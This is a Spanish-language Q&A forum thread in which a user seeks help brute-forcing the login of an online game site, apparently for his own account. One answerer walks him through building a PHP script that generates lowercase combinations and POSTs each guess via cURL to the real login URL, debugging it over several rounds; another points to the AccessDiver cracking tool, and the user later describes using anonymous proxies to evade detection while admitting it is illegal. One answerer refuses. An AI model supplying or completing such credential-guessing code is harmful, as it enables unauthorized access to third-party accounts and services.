Problema con mi login PHP

Buenas, necesitaría su ayuda para saber como utilizar la fuerza bruta para recuperar un de mis contraseñas en una Web con login mediante PHP, resulta que cuando me cree la cuenta pensé que no iba a jugar mucho pero me he enviciado, bueno la cosa es que el ordenador entraba automáticamente y se me olvido que al irme de vacaciones y usar el portátil de la otra casa me iba a pedir la contraseña y el problema es que ya no me acuerdo de la contraseña y la dirección de emal que utilice es una que di de baja hace mucho tiempo, ahora hasta que no vuelva de vacaciones no podre cambiar la dirección email y voy a perder todos los progresos en el juego, no me acuerdo cual era la contraseña pero se que puese todo minúsculas y no era muy larga, así que como conozco el tema me gustaría probar a obtenerla mediante fuerza bruta, he probado con el programa AccesDiver y este video pero nada:
http://www.youtube.com/watch?v=xAAYMGto3XI&hl=es
La página web del juego es esta:
http://www.guerrastribales.es/index.php
El usuario es (xxxxxx) del mundo 1, de todas formas preferirá hacerlo yo para aprender de paso, muchas gracias de antemano por la ayuda
También he intentado usar unos script pero no entiendo el código así que necesito ayuda, ante todo y sobretodo muchísimas gracias por su tiempo y por su colaboración en el foro, espero su respuesta experto.

4 Respuestas

Respuesta
1
Te sugiero que le envíes un email al administrador del sitio y le comentes tu problema, pero sin ser pesimista, no creo que te pueda ayudar mucho, pues si pierdes el acceso a ese email, no hay forma de que puedas recuperar la contraseña.
En internet encuentras mucha información sobre ataques de fuerza bruta, puedes buscar:
Force brute attack algorithms
Respuesta
1
Si tienes acceso a internet, tienes acceso acceso a la session "¿Has olvidado tu contraseña?/Cambiar contraseña", con lo que te será muy fácil recuperar tu contraseña.
En cualquier caso, puedes ponerte en contacto con la empresa responsable del videojuego a través del e-mail [email protected] (son alemanes, pero seguro que hay unos cuantos españoles detrás de ese e-mail).
De ninguna manera se debe intentar usar lo que tu llamas "la fuerza bruta" para intentar acceder, puesto que lo único que conseguisirias es bloquear al usuario (xxxxxx).
Ya he intentado contactar con ellos pero me han respondido que las contraseñas se reenvían a la dirección e-mail del usuario, que no ahí nada que hacer, voy a estar 3 meses de vacaciones, ahí algo que pueda hacer, prefiero bloquear al usuario que no poder usarlo en 3 meses, es un juego online que se avanzan puestos en el ranking, 3 meses sin jugar seria como volver a empezar, si no sabes como hacerlo no pasa nada tendré que seguir buscando, he encontrado esto a ver si me puedes decir que hace o como usarlo:
Sirve para encontrar todas las combinaciones de un abecedario a-z hasta encontrar una palabra (aquí es "papa")
Código PHP:
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
    $asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
    if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
if(solucionado($palabra,$paltmp)>0){
echo '<br />La solución es: '.$paltmp;$solucionado=1;return;
}
else echo '<br />'.$paltmp;
}
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>
TOMA AQUI TAMBIEN TIENES OTRO CÓDIGO:
http://www.chw.net/foro/lenguajes-de-programacion-f22/246401-algorimo-fuerza-bruta-con-php.html
Actualmente tienes internet, puesto que me estas preguntando cosas.
Si el e-mail del usuario es de tu propiedad, solicita inmediatamente la clave, y la recibirás en minutos, con lo que (teniendo internet como tienes ahora mismo y siendo el propietario del e-mail registrado en la página) podrás cambiar la contraseña, recuperarla o cual sea el procedimiento.
Me extrañaría bastante que, siendo el propietario del e-mail del usuario registrado en la página y teniendo internet como tienes actualmente, no puedas acceder a el (y si es el caso, tienes un grave problema).
¿Eres el propietario del e-mail del usuario del juego?
¿Acaso de lo que no te acuerdas es de la clave del e-mail?
Ya me cuentas. L o demás, créeme, es darte calamonazos contra la pared. No vas a conseguir nada (salvo que bloqueen al usuario tras repetidos intentos fallidos de acceso).
Saludos.
P.D.: ¿No estarás intentando usurpar al usuario (xxxxxx) en esa web, verdad?
Para nada, como puedes ver yo también soy experto y desde hace mucho tiempo, con eso puedes ver que no me acabo de crear la cuenta para ususrparla, si quieres puedes sacar tu la contraseña y dármela si no te fías, mira mis respuestas a otras preguntas si quieres:
(xxxxxx)" contenteditable="false">http://www.todoexpertos.com/s/2/(xxxxxx)
Como te he escrito en el primer mensaje el verdadera problema es que la cuenta de email que utilice para hacer la cuenta era una que di de baja hace mucho tiempo, por eso aunque pida el correo no puedo acceder a el, en realidad la cuenta la voy a recuperar dentro de 3 meses como muy tarde porque el otro ordenador tiene la contraseña almacenada y podre entrar y cambiar todos los datos, pero lo que necesito es tenerla ahora porque dentro de 3 mese on me vale para nada, si sabes como hacerlo o puedes ayudarme dímelo, si buscara usurpar cuentas me habría metido en un foro de hackers que creo que es lo que me va a tocar hacer, saludos y gracias de todas formas
Bien, bien. Correcto, no quieres usurpar al usuario.
Sin embargo, no puedo ayudarte. Nunca he usado ese procedimiento para recuperar contraseñas. Siempre he ido a lo sencillo. Si quieres usar el algoritmo fuerza bruta, usalo, pero creo que tu cuenta quedará bloqueada por exceso de intentos de acceso fallidos.
La solución más fácil es recuperar desde tu conexión actual el e-mail ese que dices que no vas a poder recuperar hasta dentro de 3 meses. Si es tuyo, y recuerdas la pregunta secreta así como los datos con los que te registraste, te dará acceso a el inmediatamente.
En fin, lamento no haberte "ayudado".
Okey, gracias seguiré buscando por la WEB a ver si encuentro algo e intentare hacer lo que me dices, saludos y gracias, espero encontrar algo que me sirva, de todas formas, ¿el script que te he puesto que me podrías tu decir de el como experto?
Lo único que puedo comentarte respecto del código que me adjuntas es que si, que dadas las letras entre 'a' y 'z', genera todas las combinaciones posibles de una determinada longitud (aaaa, aaab, aaac, etc...)
En el caso que planteas, tener eso y nada, es lo mismo, ya que debes tener en cuenta los siguientes factores:
1º El algoritmo que adjuntas solo tiene en cuenta minúsculas, con lo que debes extenderlo (modificarlo) para que acepte números, mayúsculas y caracteres especiales (símbolos).
2º El sistema que quieres programar no sabe a priori la clave correcta (como en el algoritmo adjunto), con lo que debes programar una llamada a la url de autentificación usando la combinación que toque en cada momento (bien generando el form correspondiente o usando las librerías curl).
A eso hay que sumar mi convencimiento ya expuesto de que la cuenta quedará bloqueada por acceso indebido a un determinado número de intentos incorrectos.
Solo desearte mucha suerte.
Muchísimas gracias de verdad, tu información me esta siendo muy útil, por la pruebas que he echo en la web que te comente aunque intente entrar muchas veces no me bloquea, se ve que no han implementado esa opción de seguridad, lo de extenderlo para que acepte números y mayúsculas no me va a hacer falta porque solo use minúsculas, nunca he usado números ni mayúsculas como contraseña en la WEB,
He ido a la página web que te puse y he estado mirando el código fuente, por lo que veo el botón de "login" parece que realiza la acción:
index.php?action=login
Por lo que la url de autentificación sera esta, no??:
http://www.guerrastribales.es/index.php?action=login
¿Quiere decir eso que con un from a esa dirección el programa estaría echo y podría por fin volver a entrar a mi cuenta?
En tal caso, como quedaría el código final, como te digo no se mucho de PHP aunque algo me han enseñado mis maestros del centro de FP aunque no he practicado mucho y no creo que pueda terminarlo sin tu ayuda, en serio, muchísimas gracias por el tiempo que me dedicas y por lo rapido que me respondes, espero solucionar este problema pronto, mil gracias por todo.
El código completo que hace el login (estraido de la web que me comentas) es el siguiente:
<form action="index.php?action=login" method="post">
<div>
<label for="user">
<strong >Nombre de usuario:</strong>
<span ><input id="user" name="user" class="text" type="text" value="" /></span>
</label>
<label for="password">
<strong >Contraseña:</strong>
<span ><input name="clear" type="hidden" value="true" /><input id="password" name="password" class="text" type="password" /></span>
</label>
<label for="server_select">
<strong >Mundo:</strong>
<select id="server_select" class="server_select" name="server" >
<option value="es1" selected="selected">Mundo 1</option>
<option value="es2" >Mundo 2</option>
</select>
</label>
<input type="submit" value="" id="login-btn-input" onmouseover="javascript:hover_toggle_css('login-btn-input','login-btn-input-hover',false);return true;" onmouseout="javascript:hover_toggle_css('login-btn-input','login-btn-input-hover',false);return true;" />
<br style="clear:both;"/>
<label for="cookie" style="text-align:right;">
<input id="cookie" type="checkbox" name="cookie" value="true" />
Recordarme
</label>
<p><a href="http://www.guerrastribales.es/lost_pw.php">¿Has olvidado tu contraseña?/Cambiar contraseña</a></p>
</div>
</form>
Tienes que tener en cuenta que los datos enviados para la autentificación son los siguientes
<input id="user" name="user" class="text" type="text" value="" />
<input name="clear" type="hidden" value="true" />
<input id="password" name="password" class="text" type="password" />
<select id="server_select" class="server_select" name="server" >
<option value="es1" selected="selected">Mundo 1</option>
<option value="es2" >Mundo 2</option>
</select>
<input id="cookie" type="checkbox" name="cookie" value="true" />
Si el formulario tuviera un metido GET podrías pasar todos los argumentos a la url, pero como es POST, tienes que hacer un POST mediante librerías CURL.
Aquí tienes una página de ejemplo:
http://davidwalsh.name/execute-http-post-php-curl
Leela y ya me comentas.
A ver si me entero, tendría que crear una librería CURL con los datos que me comentas y luego integrar esa librería en el script PHP, ¿después compilarlo todo y ejecutarlo en mi ordenador?
Bueno si es así dime si he hecho bien el código de la librería CURL:


//extract data from the post
        extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
                        'user'=>urlencode($user),
                        'clear'=>urlencode($clear),
                        'password'=>urlencode($password),
                        'server_select'=>urlencode($server_select),
                        'es1'=>urlencode($es1),
                        'cookie'=>urlencode($cookie)
                );
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
//close connection
curl_close($ch);
En principio está bien, si, salvo que...
'user'=>urlencode("tu_nombre_de_usuario"),
'clear'=>urlencode(true),
'password'=>urlencode($valor_fuerza_bruta),
'server_select'=>urlencode("es1"),
'cookie'=>urlencode(true)
Todo eso metido en el bucle de la fuerza bruta y a probar.
Suerte.
Ufff, me acabo de liar, solo he estudiado unos pocos días PHP y ya no me acuerdo porque no lo llegue a entender del todo, ¿a ver si no me equivoco y según me dices la librería CURL sería esta? :
//extract data from the post
        extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
                        'user'=>urlencode("(xxxxxx)"),
                        'clear'=>urlencode(true),
                        'password'=>urlencode($valor_fuerza_bruta),
                        'server_select'=>urlencode("es1"),
                        'es1'=>urlencode($es1),
                        'cookie'=>urlencode(true)
                );
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
//close connection
curl_close($ch);
¿Pero para que este completa le falta poner el valor de fuerza bruta no? ¿Qué variable sería el valor de fuerza bruta? Porque lo que yo veo en el script inicial es que el saca la palabra papa pero en realidad yo quiero que pruebe todas las combinaciones entonces algo debe de sobrar en el script inicial y alguna debe de ser la variable, ademas no se muy bien donde debe ir situada la librería ni como se la debe de llamar, je je a ver si logras aclarar todas mis dudas jejejeje
Como te dije en anteriores comentario, el algoritmo que planteaste sabe la solución, y se detiene cuando la encuentra, con lo que debes modificarlo de la siguiente forma:
Si observas detenidamente, dentro de la función ENSAYAR se llama a SOLUCIONADO, que compara la cadena de fuerza bruta con la solución que sabemos (papa en este caso).
Lo que debes hacer es ejecutar todo el código CURL cada vez que se llame a SOLUCIONADO (la mejor opción es programarlo dentro de SOLUCIONADO o mejor aun, crear una función que sea "logearse($clave)" que llamas en solucionado).
En cada iteración $result = curl_exec se te devolverá el código HTML (en la variable $result) del resultado del intento de logeo, que tu deberás analizar para detectar si la clave de fuerza bruta ha conseguido loguear a tu usuario o no.
Si que he entendido lo que ahí que hacer, lo que no se es como hacer esas funciones ni como puedo comprobar mediante el código HTML si ha logrado acceder o no, ya te dije que solo he visto por encima PHP en unos días, no me he aprendido de memoria para lo que valen las variables ni las funciones, ahora me estoy arrepintiendo un poco jejejeje, ojala el profesor nos hubiera enseñado PHP haciendo programas para este tipo de cosas, habría captado toda mi atención y probablemente la de más alumnos, je je, bueno al tema, a ver si me puedes enseñar un poco como va lo que tengo que hacer, je je, de todas formas muchas gracias por tu esfuerzo
Conozco el nivel de formación que se otorga en los cursos de FP (he tenido a unos cuantos becarios a mi cargo) y ciertamente, no se en que piensan el personal docente...
Te voy a recomendar que instales el paquete WAMP
http://www.wampserver.com/en/
Una vez instalado, experimenta con el codigo que has preparado con CURL, y que despues de hacer $result = curl_exec() ejecutes la siguiente instruccion...
print_r($result);
...a ver que tal.
Cuando entiendas el concepto de CURL, seguiremos.
A ver lo he descargado he instalado, por lo que veo es un servidor PHP, pero es la leche de raro, no tengo ni idea de donde debo copiar y pegar el código, que es lo que debo hacer, crear una base de datos con contraseñas y usuarios, insertar el código de la página y probar ejecutando mi script o como, es que ahora que esta instalado no se que ahí que hacer, pensé que era un compilador de PHP para ver que hace le programa cuando modifico sus atributos, en fin no lo pillo, ¿qué tengo que hacer?
Gracias de nuevo
Busca la carpeta "c:\wamp\www".
Crea un archivo que se llame "prueba.php" e inserta algun codigo php.
Posteriormente, en tu navegador, carga la url "http://localhost/prueba.php".
El resultado se te mostrará en tu navegador.
Vale, he probado pegando el código que teníamos al principio y ha empezado a mostrar letras aaaa, aaab, aaac ... je je y se me ha quedado colgado el navegador, luego he pegado el código de la página que posteaste tu y me han salido las textboxes de usuario y contraseña y la de selct de mundo 1, je je, luego he intentado poner la librería CURL pero no se en que parte del script la tengo que poner para que funcione, esto liá bastante he, jejejeje
Crea una función llamada logear($password) con un parámetro que será el password.
Dentro de esa función, incruta todo el código CURL, y asigna $password donde corresponda en donde corresponda dentro del array $fields.
Bien, luego, por cada iteración en la que se te muestra aaaa, aaab, en vez de mostrar en pantalla dicho valor de la fuerza bruta, haz una llamada a logear con el valor que toque.
Así de sencillo.
Vale, hecho lo que me comentas, (no se si bien je je) excepto lo de hacer una llamada a logear que no se como se haría ni donde meterlo, una ayudita que no me empano je je, te he puesto en negrita lo que he modificado, ¿qué nota me pones? jejejeje
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
    $asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
    if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function logear ($password){
//extract data from the post
        extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
                        'user'=>urlencode("(xxxxxx)"),
                        'clear'=>urlencode(true),
                        'password'=>urlencode($password),
                        'server_select'=>urlencode("es1"),
                        'es1'=>urlencode($es1),
                        'cookie'=>urlencode(true)
                );
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
//close connection
curl_close($ch);

}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
if(solucionado($palabra,$paltmp)>0){
echo '<br />La solución es: '.$paltmp;$solucionado=1;return;
}
else echo '<br />'.$paltmp;
}
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>
No tengo que ponerte nota hombre.
Me quedaría contento si estuviera seguro de que entiendes aquello que programas.
En fin, al lio.
Esta bien, lo has hecho como te he dicho. Bien... ahora ¿no crees que dentro de ensayar(), donde pone...
if(solucionado($palabra,$paltmp)>0){
echo '<br />La solución es: '.$paltmp;$solucionado=1;return;
}
else echo '<br />'.$paltmp;
}
...podrias borrar eso y poner....
loguear($paltmp)
... ¿Quitando lo anterior?
Asi conseguirias llamar a loguear con cada valor de la fuerza bruta.
Ya me cuentas...
No la verdad que no entiendo muy bien lo que estoy programando, algo pillo pero no todo, je je, aunque ya iré aprendiendo, en cuanto a lo que me comentas sabía que lo que había que añadir había que hacerlo por ahí, aunque no sabía exactamente donde, a ver, ¿entonces si no me equivoco este sería el script terminado? ¿Con esto ya esta echo? ¿Cuándo encuentre la clave correcta que hará darme un mensaje de alerta?:
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
    $asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
    if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function logear ($password){
//extract data from the post
        extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
                        'user'=>urlencode("(xxxxxx)"),
                        'clear'=>urlencode(true),
                        'password'=>urlencode($password),
                        'server_select'=>urlencode("es1"),
                        'es1'=>urlencode($es1),
                        'cookie'=>urlencode(true)
                );
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
//close connection
curl_close($ch);
}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
loguear($paltmp)
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>
Pues muchísimas gracias por todo, tu ayuda me ha sido de muchísima utilidad, habré perdido una semana del juego pero la podre recuperar, 3 meses no, mil gracias en serio, ademas he aprendido más sobre PHP, mil gracias por tu ayuda en serio, si alguna vez tienes alguna pregunta sobre redes, windows xp, auditorias wifi... no dudes en preguntarme
Para finalizar, 3 cositas:
1º En cada llamada a loguear, despues de $result = curl_exec($ch); pon print_r($result). Esto te mostrará en pantalla el exito del logueo o no.
2º Creo recordar que la direccion correcta era index.php?action=login, con lo que en loguear deberás poner $url = 'http://www.guerrastribales.es/index.php?action=login';
3º Si eres tan amable de puntuarme la pregunta, mejor. Después de todo casi te he dado una clase particular... je je je.
Juas te vas a llevar 5 estrellas y porque no se pueden 10, como dices me has dado mucha información y me has ayudado mucho, ademas te has fiado de mi, te he añadido a expertos favoritos porque lo eres y ya te digo que si te surge cualquier problema con algún tema de informática y puedo ayudarte lo pienso hacer, solo preguntame, solo dime si me equivoco en algo en el script ya completo con todo lo que tu me has dicho porque no me gustaría que por un punto y coma o por algún comando puesto en un mal sitio no me funcionara el script, por favor dime si ya esta completo y bien y te cierro la pregunta, mil gracias en serio, eres la leche:
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
    $asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
    if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function logear ($password){
//extract data from the post
        extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
                        'user'=>urlencode("(xxxxxx)"),
                        'clear'=>urlencode(true),
                        'password'=>urlencode($password),
                        'server_select'=>urlencode("es1"),
                        'es1'=>urlencode($es1),
                        'cookie'=>urlencode(true)
                );
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
print_r($result)
//close connection
curl_close($ch);
}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
loguear($paltmp,$url = 'http://www.guerrastribales.es/index.php?action=login');
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>
No se merecen, para eso estamos.
Puede que el script no te funcione bien porque no hayas activado la librería php_curl en WAMP.
Busca en el systray de windows (junto al relog) la entrada de menú PHP -> PHP Extensions y marca php_curl. El servidor se reiniciará automáticamente con esa librería cargada.
Recordarte que para que php_curl funcione en windows es necesario tener instalado Microsoft Framework 2.0 o superior, ¿ok?
Prueba ahora.
Ohhhh, vaya todavía no funciona, que le puede pasar, dice que ahí un error en la linea 58:
Parse error: parse error in C:\wamp\www\index.php on line 58
Algo falla se ve, el código es justo el que tienes en mi anterior pregunta, ¿qué ocurre?
También he probado quitando el punto y coma de curl_close($ch); que contando a mi manera es la linea 58, aun así no funciona, a veces hasta pone esto en ved de error en la linea 58:
urlencode("(xxxxxx)"), 'clear'=>urlencode(true), 'password'=>urlencode($password), 'server_select'=>urlencode("es1"), 'es1'=>urlencode($es1), 'cookie'=>urlencode(true) ); //url-ify the data for the POST foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; } rtrim($fields_string,'&'); //open connection $ch = curl_init(); //set the url, number of POST vars, POST data curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POST,count($fields)); curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string); //execute post $result = curl_exec($ch); print_r($result) //close connection curl_close($ch) } function ensayar($palabra){ global $longitud; global $posibles; global $asignar; global $solucionado; if($solucionado==1) return; for($i=0;$i<$longitud;$i++){ if(count($asignar[$i])!=count($posibles))continue; for($j=0;$j0){ $paltmp=implode('',$asignar); loguear($paltmp,$url = 'http://www.guerrastribales.es/index.php?action=login'); ensayar($palabra); } $asignar[$i]=$posibles;return; } } $algo='papa'; cargar($algo); ensayar($algo); ?>
Te falta un ";" detras de la instruccion print_r($result).
Como ya tienes el código que necesitabas, lo mejor que podemos hacer es cerrar la pregunta.
El problema que ahora tienes es ligero desconocimiento de PHP, con lo que ante los problemas que te surjan, abrimos otras cuestiones...
¿Qué te parece?
Respuesta
1
No sé si ya has visto este enlace, pero parece explicar bastante bien el uso de AccesDiver:
http://personales.com/colombia/barranquilla/MonclovaEmergente2/accessdiver.html
Voy a leerme ese articulo, muchísimas gracias por la ayuda, te dejo la pregunta abierta por si no lo consigo, en nada te vuelvo a comentar que tal me ha ido, si sabes cualquier otra cosa coméntamela, muchas gracias de nuevo
De acuerdo.
He leído la página que me comentas y ademas he logrado descargarme es version en concreto del programa, espero que con este no me pase como con el otro que después de llegar al final no me servia para nada, bueno el problema ahora (que quizá sea el problema que tuve con el otro) esta en conseguir los proxys, como mucho encuentro 3 o 4 proxys que pasen las 2 pruebas, he descargado listados de todos los sitios, quizá tu puedas pegarme aquí un listado de proxys que tu tengas comprobado que funcionen y sean anónimos, muchas gracias de antemano por el esfuerzo
Solo tienes que poner en google listado de proxys y veras infinidad de páginas con cientos de proxys y ya sólo se trataría de probarlos. Espero que te valgan.
http://www.google.es/search?q=listado+de+proxys&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:es-ES:official&client=firefox-a
Hombre eso ya lo busque je je, no ahí manera roldayan no ahí manera, quizás no funciona porque la página web esta en PHP no lo se, ¿podrías probarlo tu a ver si consigues aunque sea hacer que funcione ne esa web?
Si te supone mucho trabajo da igual, estoy intentando hacer lo mismo pero creando n programa en PHP muchas gracias por todo decidas lo que decidas
Me temo que aquí poco más te puedo ayudar pues la verdad que nunca he forzado páginas web, como mucho investigar un poco para descifrar redes wifi wep, je je.
Respuesta
1
Caperna"
Bueno estimado, primeramente dejame decirte que yo también soy un amante de los juegos en la PC aunque gralmente no dispongo de mucho tiempo para ello ya que trabajo y estudio. Siento bastante que lo hayas perdido y suele pasar.
Te voy a dejar algunas recomendaciones para el futuro principalmente. Deberías de tener un archivo de texto plano en un lugar seguro en tu PC donde como en una agenda telefónica vas anotando todas tus contraseñas.
Yo soy consultor de seguridad para entidades financieras y te soy sincero que si sé como se realizan estos "ataques" porque en realidad son ataques a sistemas y por lo tanto no es una cuestión legal el de realizar esta clase de procedimientos.
Disculpame que en este caso particular no pueda proveerte de un script de ese género! Te doy una idea. Regístrate solo para tener una cuenta y accede a este link
http://www.guerrastribales.es/ticket_login.php
Donde le vas a redactar tu problema al equipo encargado del sitio. ¿Ellos te van a indicar el procedimiento adecuado ok?
Bueno en realidad el script ya lo tengo, y estoy preparando un ataque mediante una cadena de proxys de alto anonimato para realizar el ataque, el problema es que me falta pulir el script, como veo que eres programador de PHP quizás puedas ayudarme a terminarlo, te lo pego:
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
    $asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
    if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
if(solucionado($palabra,$paltmp)>0){
echo '<br />La solución es: '.$paltmp;$solucionado=1;return;
}
else echo '<br />'.$paltmp;
}
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>
Dado que necesitamos utilizar el método POST para esa página en concreto ya que no permite el método GEt necesitaremos también incluir la librería CURL que creo si no me equivoco que sería esta:
//extract data from the post
        extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
                        'user'=>urlencode("(xxxxxx)"),
                        'clear'=>urlencode(true),
                        'password'=>urlencode($valor_fuerza_bruta),
                        'server_select'=>urlencode("es1"),
                        'es1'=>urlencode($es1),
                        'cookie'=>urlencode(true)
                );
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
//close connection
curl_close($ch);
¿Cómo quedaría el script final?, ¿se qué es ilegal pero nadie me va a denunciar porque lo voy a probar en mi cuenta y no me van a pillar porque vada prueba la va ha hacer con una IP distinta y la verdad es que tampoco estoy robandole 2.000 millones de? Al banco mundial solo recuperando mi cuenta.
De todas formas muchísimas gracias por tu ayuda tanto decidas prestármela o no siempre es bueno que alguien este dispuesto a ayudar.
Te cuento que tu código es extremadamente genérico y no depende de un código bien hecho que logres tu cometido! Depende de la seguridad de
1. El servidor (Muy pero muy probablemente no puedas acceder por CURL)
2. La programación. Esta página tiene su tiempo de desarrollo y poder acceder de la misma manera que jugar un juego es imposible.
3. La base de datos. Digamos que ocurra un milagro y un novato (MUY novato) fuera el que desarrollo la página y su sistema tiene vulnerabilidades grandes en su servidor, en su programación y tengas el acceso a su base de datos.. bueno, el password va a estar encriptado en MD5 muy pero MUY probablemente y ese método de encriptación no se puede rever. Osea que llegarías al mismísimo punto de tener que probar y fallar cual es el password correcto!
Hacela fácil amigo y contactate con la gente del sitio. Y algo más, no descarté tu pregunta a la primera porque espero que entiendas en esta segunda respuesta que primero no se debe de intentar sin permisos este tipo de "misiones" y segundo que hackear un sistema no se aprende ingresando a Google una consulta como "como hackear una web" o "script de fuerza bruta para obtener password" ni tampoco visitando foros y copiar y pegar código ni descargando programitas automatizados.
